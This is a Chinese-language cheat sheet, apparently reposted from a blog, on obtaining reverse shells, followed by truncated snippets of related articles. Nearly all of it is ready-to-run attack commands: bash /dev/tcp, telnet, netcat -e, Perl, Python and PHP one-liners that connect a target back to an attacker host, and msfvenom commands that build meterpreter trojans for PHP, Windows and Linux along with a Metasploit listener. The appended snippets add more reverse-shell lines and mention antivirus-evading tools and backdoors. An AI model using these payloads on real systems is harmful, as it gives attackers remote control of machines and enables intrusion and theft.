反弹shell利用方式

反弹shell

1.bash反弹

攻击机监听端口

netcat: nc -nvlp 4444

-n:  不反向解析dns,即不通过ip解析域名 no dns

-v:  详细信息输出 verbose

-l:   监听 listen

-p: 指定端口 port

靶机执行shell命令

bash -i >& /dev/tcp/攻击机ip/攻击机port 0>&1

bash -i:交互式shell

>& :输入输出重定向:0 stdin, 1 stdout, 2 stderr

/dev/tcp/ip/port: 特殊文件

注: /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

2.telnet反弹

攻击机监听端口 启动两个终端

netcat: nc -nvlp 4444

netcat: nc -nvlp 5555

靶机telnet反弹shell

telnet 攻击机ip 4444 | /bin/bash | telnet 攻击机ip 5555

注:bash进程的 0 ,1 :stdin,stdout 标准输入输出描述符 都重定向到pipe,关联两个telnet进程,两个telnet进程分别与攻击机两个端口建立了socket连接

3.nc(netcat)反弹

攻击机监听端口

nc -nvlp 4444

靶机连接端口并反弹shell

nc -v 攻击机ip 4444 -e /bin/bash

-e:  指定nc连接成功后执行的程序

4.perl反弹

攻击机监听端口

nc -nvlp 4444

靶机perl反弹shell

perl -e ‘use Socket;$i="攻击机ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘

5.python反弹

攻击机监听端口

nc -nvlp 4444

靶机python反弹shell

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.61",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);‘

6.php反弹

攻击机监听端口

nc -nvlp 4444

靶机php反弹shell

php -r ‘$sock=fsockopen("192.168.7.61",4444);exec("/bin/bash -i <&3 >&3 2>&3");‘

7.msf 生成木马反弹shell

msfvenom 生成木马

1. 生成php反弹木马:

msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f raw > /root/shell.php

2. 生成windows反弹木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hacker.exe

3. 生成linux反弹木马:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f elf > /root/shell

msfconsole 控制台监听

1. 选择监听模块:

use exploit/multi/handler

2. 设置payload反弹:

set payload windows/meterpreter/reverse_tcp

注:此处为生成木马payload

3. 设置LHOST、LPORT参数:

set LHOST 攻击机ip` `set LPORT 监听端口

注:和生成木马设置对应

4. exploit 或 run 开始攻击,进行监听

5. 等待靶机运行木马,msf产生session会话

msfvenom 命令参数:

  ? -p,  --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或 者stdin指定
  ? -l,   --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
?   -n,    --nopsled <length> 为payload预先指定一个NOP滑动长度
  ? -f,  --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
?   -e,    --encoder [encoder] 指定需要使用的encoder(编码器)
?   -a,    --arch <architecture> 指定payload的目标架构
?      --platform <platform> 指定payload的目标平台
?   -s,  --space <length> 设定有效攻击荷载的最大长度
?   -b,  --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
?   -i,   --iterations <count> 指定payload的编码次数
?   -c,  --add-code <path> 指定一个附加的win32 shellcode文件
?   -x,  --template <path> 指定一个自定义的可执行文件作为模板
  ? -k,  --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
  ?    --payload-options 列举payload的标准选项
?   -o,    --out <path> 保存payload
?   -v,    --var-name <name> 指定一个自定义的变量,以确定输出格式
  ?   --shellest 最小化生成payload
?   -h,   --help 查看帮助选项

原文地址:https://www.cnblogs.com/ktfsong/p/11265734.html

时间: 2024-10-11 22:20:08

反弹shell利用方式的相关文章

常用的反弹shell脚本

bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/443 0<&1 2>&1 Python shell 反弹脚本 #!/usr/bin/python # This is a Python reverse shell script import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((&quo

[Shell]Telnet反弹shell

原作者:包子love 文章出处:黑白之道 今天给大家介绍两种telnet反弹shell的方法,相对于其他方式反弹shell要简单一点,可作为按需远程控制或留后门使用,希望可以帮助到大家. 前提条件:目标机为linux系统并支持telnet服务:攻击机支持telnet服务,攻击机装有NC (windows.linux均可). 这里我准备了一个公网服务器和一个本地虚拟机,公网服务器为攻击机,虚拟机为目标机. 0x01 第一种 1.攻击机先执行监听:nc -l 2222 2.目标机执行:mknod a

NC / Netcat - 反弹Shell

原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>nc -l -p 2222 受害机:反弹/bin/bash 到攻击机(192.168.12.109)的2222端口 [email protected]:~# nc 192.168.12.109 2222 -e /bin/bash 反弹shell成功后即可在windows的cmd.exe下执行Linux下的/

分享一个免杀的反弹shell工具(python脚本转换成exe)

有时候网站服务器上有杀毒软件,我们上传的nc.exe.lcx.exe等工具都被杀了,这时候就需要一款免杀的工具来反弹shell. 这篇博客主要是依据国外的一片文章翻译而来,根据国外大佬的教程将Python脚本转换成exe程序即可免杀. 参考链接:https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1 第1步:安装Python2.7和Py2exe 一定要安装32位的Python 2.7和32位的P

Linux 反弹 Shell

攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动. 同时,nc又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能.渗透测试中,linux主机一般自带nc,Windows主机需要自行上传. 姿势一

[Shell]Powershell反弹shell

原作者:Cream 文章出处: 贝塔安全实验室 0x01 Powershell反弹shell Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能.它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本. 一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本

[Shell]Redis未授权访问反弹shell

原作者:Cream 文章出处: 贝塔安全实验室 0x01 Redis未授权访问反弹shell Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API.从2010年3月15日起,Redis的开发工作由VMware主持.从2013年5月开始,Redis的开发由Pivotal赞助. Redis因配置不当可以未授权访问(窃取数据.反弹shell.数据备份操作主从复制.命令执行).攻击者无需认证访问到内部数据,可导致敏感信息

反弹shell方法总结

本机ip为10.10.10.11,监听端口443. Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1 exec 5<>/dev/tcp/10.10.10.11/443;cat &

JS探测内网是否存在bash漏洞,反弹shell

来t00ls几天啦,也没时间写原创. --(本人首发土司啦.) 最近看到老外一篇文章,觉得很不错. 测试了一下把这个东西把过程分享给大伙,希望大伙不要踩,忙完这几天就写原创 调用一个js,扫描内网是否存在bash漏洞,然后反弹shell回来的一个小东西.搞APT应该用得到啦. 测试过程: 老外发的一个Poc我内网搭建测试 先监听了本地250端口 然后搭建之后访问 1 http://192.168.1.9/test.html?s=192.168.1.1&e3=1&e4=20&d=19